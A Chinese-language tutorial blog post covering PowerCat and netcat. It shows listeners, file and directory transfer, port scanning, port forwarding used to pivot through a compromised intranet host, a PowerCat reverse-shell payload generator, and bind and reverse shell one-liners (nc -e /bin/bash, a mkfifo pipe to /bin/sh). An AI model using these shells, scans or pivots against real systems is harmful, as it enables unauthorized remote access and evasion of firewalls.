PowerCat功能介紹 netcat使用實(shí)例:端口轉(zhuǎn)發(fā)、遠(yuǎn)程shell

PowerCat

與Netcat&Ncat配合使用的PowerShell TCP / IP瑞士軍刀

https://github.com/secabstraction/PowerCat

PowerCat 被打包為一個(gè) PowerShell module
所以要導(dǎo)入模塊才能使用功能:

# Import the functions via the psd1 file:
    Import-Module PowerCat.psd1

功能和參數(shù)

Start-PowerCat      # Starts a listener/server.
    
    -Mode           # Defaults to Tcp, can also specify Udp or Smb.
    -Port           # The port to listen on.
    -PipeName       # Name of pipe to listen on.
    
    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -KeepAlive      # Restart after disconnecting.
    -Timeout        # Timeout option. Default: 60 seconds
    
Connect-PowerCat    # Connects a client to a listener/server.
    
    -Mode           # Defaults to Tcp, can also specify Udp or Smb
    -RemoteIp       # IPv4 address of host to connect to.
    -Port           # The port to connect to.
    -PipeName       # Name of pipe to connect to.
    
    -SslCn      # Common name for Ssl encrypting Tcp.
    -Relay          # Format: "<Mode>:<IP>:<Port/PipeName>"
    -Execute        # Execute a console process or powershell.
    -SendFile       # Filepath of file to send.
    -ReceiveFile    # Filepath of file to be written.
    -Disconnect     # Disconnect after connecting.
    -Timeout        # Timeout option. Default: 60 seconds

基本連接

默認(rèn)情況下,PowerCat使用TCP協(xié)議 并且 從控制臺(tái)讀取,寫到控制臺(tái)。

 # Basic Listener: 監(jiān)聽(tīng)本機(jī)443端口
    Start-PowerCat -Port 443

    # Basic Client: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443

文件傳輸

參數(shù)為
-SendFile
-ReceiveFile

    # Send File: 
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
        
    # Receive File:
    Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile

Shells

PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.

 # Serve a shell:
    Start-PowerCat -Port 443 -Execute
        
    # Send a Shell:
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute

UDP and SMB

PowerCat supports more than sending data over TCP.
PowerCat支持的協(xié)議:TCP、UDP、SMB

    # Send Data Over UDP:
    Start-PowerCat -Mode Udp -Port 8000
        
    # Send Data Over SMB (easily sneak past firewalls):
    Start-PowerCat -Mode Smb -PipeName PowerCat

SSL

PowerCat即時(shí)生成X509證書,以提供TCP連接的SSL加密。
PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.

    # Admin privileges are required to generate the self-signed certificate.
    
    # Serve an SSL-Encrypted (Power)Shell:
    Start-PowerCat -Mode Tcp -Port 80 -SslCn <Certificate Common Name> -Execute
        
    # Connect to an SSL encrypted Ncat listener:
    # Setup *nix with openssl & Ncat:
    # openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
    # ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
    
    Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat 

Relays

Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.

    # UDP Listener to TCP Client Relay:
    Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
        
    # TCP Listener to UDP Client Relay:
    Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
        
    # TCP Client to Client Relay
    Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
        
    # TCP Listener to SMB Listener Relay
    New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat

Generate Payloads

Payloads can be generated using the New-PowerCatPayload function.

    # Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
    New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute 
        
    # Generate a tcp payload that listens on port 8000:
    New-PowerCatPayload -Listener -Port 8000 -Execute

Misc Usage

PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.

    # Basic TCP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
    
    # Basic UDP port scan:
    1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
        
    # Persistent listener:
    Start-PowerCat -Port 443 -Execute -KeepAlive
    
    # Simple Web Server:
    Start-PowerCat -Port 80 -SendFile index.html

Exiting

In most cases, the ESC key can be used to gracefully exit PowerCat.


netcat

nc
netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,通過(guò)TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。
通過(guò)與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。
使用netcat命令所能完成的事情令人驚訝。

netcat所做的就是在兩臺(tái)電腦之間建立鏈接并返回兩個(gè)數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。
你能建立一個(gè)服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體,用它作為其它協(xié)議的獨(dú)立客戶端。
使用格式:

nc [options...] hostname port
nc -l -p port [-s addr] [options...] [hostname] [port]

主要參數(shù):

-4 IPv4模式

-6 IPv6模式

-b, –bluetooth藍(lán)牙模式(默認(rèn)為L(zhǎng)2CAP協(xié)議)

-e,–exec=CMD連接建立后執(zhí)行命令

-l 監(jiān)聽(tīng)入站連接

-n 指定數(shù)字的IP地址,不能用hostname

-u UDP模式

-t TCP模式(默認(rèn)模式)

-v 詳細(xì)輸出——用兩個(gè)-v可得到更詳細(xì)的內(nèi)容

-w,–time=SECONDS連接建立后的延時(shí)

-z 掃描模式,不會(huì)發(fā)送任何數(shù)據(jù)

-T,–ttl=TTL自定義初始TTL

-z 將輸入輸出關(guān)掉——用于掃描時(shí)

-x,–transfer文件傳輸模式

-X ,–rev-transfer反向文件傳輸模式

-s,–address=ADDRESS本地源ip

端口掃描

端口掃描,發(fā)現(xiàn)主機(jī)開(kāi)放的端口

nc -z -v -n 220.181.57.217 80-81
found 0 associations
found 1 connections:
     1: flags=82<CONNECTED,PREFERRED>
    outif en0
    src 192.168.1.170 port 55690
    dst 220.181.57.217 port 80
    rank info not available
    TCP aux info available

Connection to 220.181.57.217 port 80 [tcp/*] succeeded!

-v 詳細(xì)輸出
-n 不使用DNS反向查詢IP地址的域名

可以運(yùn)行在TCP或者UDP模式:默認(rèn)是TCP -u參數(shù)指定為UDP

# 對(duì)已經(jīng)開(kāi)放的端口,使用netcat(會(huì)先自動(dòng)連接開(kāi)放端口)抓取此端口的banner
nc -v 220.181.57.217 80

雙方通信

Server <-> Client

只能2人通信:雙方任何一方發(fā)送內(nèi)容,另一方可以看到。
雙方任何一方Ctrl-c結(jié)束連接,則另一方也會(huì)自動(dòng)斷開(kāi)。

# Server  (IP 192.168.1.170)
#在1567端口啟動(dòng)了一個(gè)tcp 服務(wù)器,所有的標(biāo)準(zhǔn)輸出和輸入會(huì)輸出到該端口。輸出和輸入都在此shell中展示。

nc -l 1567
### Client
nc 192.168.1.170 1567

文件傳輸

Server -> Client

FTP,SCP,SMB等協(xié)議,都能傳輸文件。

nc也可以傳輸文件:
雙方建立連接,臨時(shí)傳輸內(nèi)容,并保存為文件。

#Server    (IP 192.168.1.170)
#監(jiān)聽(tīng)1567端口,任何Client成功連接該端口后,服務(wù)器端把README.md中的內(nèi)容發(fā)送過(guò)去。
nc -l 1567 < README.md
#Client
#主動(dòng)連接到服務(wù)器端口,當(dāng)獲取內(nèi)容結(jié)束后,斷開(kāi)雙方連接。
nc -n 192.168.1.170 1567 #在shell中顯示該文件的內(nèi)容
nc -n 192.168.1.170 1567 > README2222.md #重定向 保存到文件中

目錄傳輸

使用壓縮工具tar壓縮后發(fā)送壓縮包,即可發(fā)送多個(gè)文件,或者整個(gè)目錄。

#Server     (IP 192.168.1.170)
# 打包(不壓縮)指定目錄,通過(guò) - 輸入控制臺(tái)重定向(當(dāng)前目錄中不生成新文件),又通過(guò)管道命令傳給:nc
tar -cvf - dir_name/ | nc -l 1567
#Client
# 連接到服務(wù)器的1567端口,通過(guò)管道命令傳給:tar工具 解壓 控制臺(tái)重定向的輸出- 得到目錄。
nc -n 192.168.1.170 1567 | tar -xvf -

端口轉(zhuǎn)發(fā)

netcat 做簡(jiǎn)單的端口轉(zhuǎn)發(fā)。

背景:
192.168.1.101需要訪問(wèn)192.168.1.102的8000端口
(目標(biāo)主機(jī)防火墻不允許外界機(jī)器訪問(wèn)8000端口,只允許其他機(jī)器連接目標(biāo)主機(jī)192.168.1.102的9000端口)

操作:
192.168.1.101通過(guò)連接目標(biāo)機(jī)192.168.1.102的9000端口
(目標(biāo)機(jī)內(nèi)8000 <-> 9000 轉(zhuǎn)發(fā)成功)
就實(shí)現(xiàn)了192.168.1.101與目標(biāo)機(jī)192.168.1.102的8000端口的通信。

#Server     (IP 192.168.1.102)
#防火墻只允許8000端口通信
nc -l 8000

#在目標(biāo)機(jī)192.168.1.102內(nèi) 令 9000端口 作為 轉(zhuǎn)發(fā)數(shù)據(jù)的端口
#實(shí)現(xiàn)了 8000 <-> 9000 的端口轉(zhuǎn)發(fā)
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
#Client
#在客戶端192.168.1.101主動(dòng)連接192.168.1.102的9000端口
#實(shí)際上客戶端只連接服務(wù)器端的9000端口
nc -n 192.168.1.102 9000

端口轉(zhuǎn)發(fā)可用于內(nèi)網(wǎng)滲透:
Client無(wú)法直接訪問(wèn)內(nèi)網(wǎng)特定機(jī)器X,并成功拿到了內(nèi)網(wǎng)一臺(tái)機(jī)器N:
在跳板機(jī)N內(nèi)做端口轉(zhuǎn)發(fā),N接受到外網(wǎng)的數(shù)據(jù),將其轉(zhuǎn)發(fā)到內(nèi)網(wǎng)目標(biāo)機(jī)器X的特定端口。

以下,沒(méi)有進(jìn)行實(shí)際的測(cè)試。

指定地址 - 客戶端主動(dòng)發(fā)起連接的地址

如果本機(jī)有多個(gè)ip地址:
在netcat中使用-s選項(xiàng)指定與外部通訊的ip地址。

#Server     (IP 192.168.1.102)
#服務(wù)器端正常監(jiān)聽(tīng)
nc -u -l 1567 < file.txt
#Client     (IP 192.168.1.101)
#指定 客戶端本機(jī) 主動(dòng)發(fā)起連接的ip地址 為192.168.1.101

nc -u 192.168.1.102 1567 -s 172.31.100.101 > file.txt

指定端口 - 客戶端主動(dòng)發(fā)起連接的端口

如果 客戶端Client的防火墻,只允許25端口和外部通訊:
所以需要發(fā)送發(fā)給外部的數(shù)據(jù)都要經(jīng)過(guò)25端口 才能發(fā)出

#Server     (IP 192.168.1.102)
#正常監(jiān)聽(tīng)
nc -l 1567
#Client
#客戶端Client的防火墻只允許25端口主動(dòng)發(fā)出連接,和外部通訊
#-p 25 指定打開(kāi)25端口,主動(dòng)發(fā)出連接。否則打開(kāi)任意端口進(jìn)行通訊。
#root權(quán)限才能打開(kāi)1024以內(nèi)的端口

nc 192.168.1.170 1567 -p 25

遠(yuǎn)程shell - 正向shell: A主動(dòng)連到B A得到B的shell

Server 提供一個(gè)shell
Client 得到shell輸入命令

如果沒(méi)有安裝或沒(méi)有權(quán)限安裝telnet或ssh
可用netcat創(chuàng)建遠(yuǎn)程shell

#Server     (IP 192.168.1.170)
#被控端

#netcat默認(rèn)支持 -c -e 參數(shù)
#當(dāng)有客戶端連接成功時(shí),執(zhí)行/bin/bash
nc -l 1567 -e /bin/bash -i
#Server     (IP 192.168.1.170)
#被控端
#openBSD netcat (如Mac系統(tǒng)自帶的nc):并不支持-c 或者 -e 參數(shù),也能創(chuàng)建遠(yuǎn)程shell


mkfifo /tmp/tmp_fifo # 創(chuàng)建了一個(gè)fifo文件
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo #使用管道命令把這個(gè)fifo文件內(nèi)容定向到shell 2>&1中。
#是用來(lái)重定向標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出,然后管道到netcat運(yùn)行的端口1567上。
#這樣已經(jīng)把netcat的輸出重定向到fifo文件中。

說(shuō)明:
從網(wǎng)絡(luò)收到的輸入寫到fifo文件中
cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令
sh命令進(jìn)程受到輸入并把它寫回到netcat。
netcat 通過(guò)網(wǎng)絡(luò)發(fā)送輸出到client

能成功是因?yàn)椋汗艿朗姑钇叫袌?zhí)行,fifo文件用來(lái)替代正常文件,因?yàn)閒ifo使讀取等待而如果是一個(gè)普通文件,cat命令會(huì)盡快結(jié)束并開(kāi)始讀取空文件。

#Client
#主控端 直接連接 得到一個(gè)shell提示符在客戶端
nc 192.168.1.170 1567

遠(yuǎn)程shell - 反向shell: A主動(dòng)連到B B得到A的shell

Server 提供一個(gè)shell
Client 得到shell輸入命令

反向shell:在客戶端打開(kāi)的shell。
反向shell這樣命名是因?yàn)椴煌谄渌渲茫@里服務(wù)器使用的是由客戶提供的服務(wù)。

服務(wù)端

#Server     (IP 192.168.1.170)
nc -l 1567
#Client
#客戶端netcat主動(dòng)連接,執(zhí)行shell。
nc 172.31.100.7 1567 -e /bin/bash

反向shell作用:
反向shell經(jīng)常被用來(lái)繞過(guò)防火墻的限制,如阻止入站連接。
例如,某內(nèi)網(wǎng)機(jī)器A 經(jīng)過(guò)網(wǎng)絡(luò)地址轉(zhuǎn)換(Network Address Translation)連接到外部網(wǎng)絡(luò) 機(jī)器B。

想要兩臺(tái)主機(jī)連接:
【成功】?jī)?nèi)網(wǎng)機(jī)器A 主動(dòng)發(fā)起連接 能連接到外部機(jī)器B。

【失敗】網(wǎng)絡(luò)外部機(jī)器B 主動(dòng)訪問(wèn) 內(nèi)網(wǎng)機(jī)器A 的shell肯定失敗。

傳輸(加密過(guò)的)數(shù)據(jù)

使用mcrypt工具,兩端密碼必須一致。

#Server     (IP 192.168.1.170)
# 使用mcrypt工具加密數(shù)據(jù)
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

#Client
#使用mcrypt工具解密數(shù)據(jù)。
nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

傳輸流視頻

雖然不是生成流視頻的最好方法:

#Server     (IP 192.168.1.170)
#讀入一個(gè)視頻文件,重定向輸出到netcat
cat video.avi | nc -l 1567
#Client
#從socket中讀入數(shù)據(jù)并重定向到mplayer(需安裝)
nc 192.168.1.170 1567 | mplayer -vo x11 -cache 3000 -

克隆Linux

dd是一個(gè)從磁盤讀取原始數(shù)據(jù)的工具,我通過(guò)netcat服務(wù)器重定向它的輸出流到其他機(jī)器并且寫入到磁盤中,它會(huì)隨著分區(qū)表拷貝所有的信息。
但是如果我們已經(jīng)做過(guò)分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。

#Server     (IP 192.168.1.170)
#假如你的系統(tǒng)在磁盤/dev/sda上
dd if=/dev/sda | nc -l 1567
#Client
nc -n 192.168.1.170 1567 | dd of=/dev/sda

其他功能

使用-t選項(xiàng)模擬Telnet客戶端
HTTP客戶端用于下載文件
連接到郵件服務(wù)器,使用SMTP協(xié)議檢查郵件
使用ffmpeg截取屏幕并通過(guò)流式傳輸分享
只要了解協(xié)議,就能使用netcat作為網(wǎng)絡(luò)通訊媒介,實(shí)現(xiàn)各種客戶端。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

推薦閱讀更多精彩內(nèi)容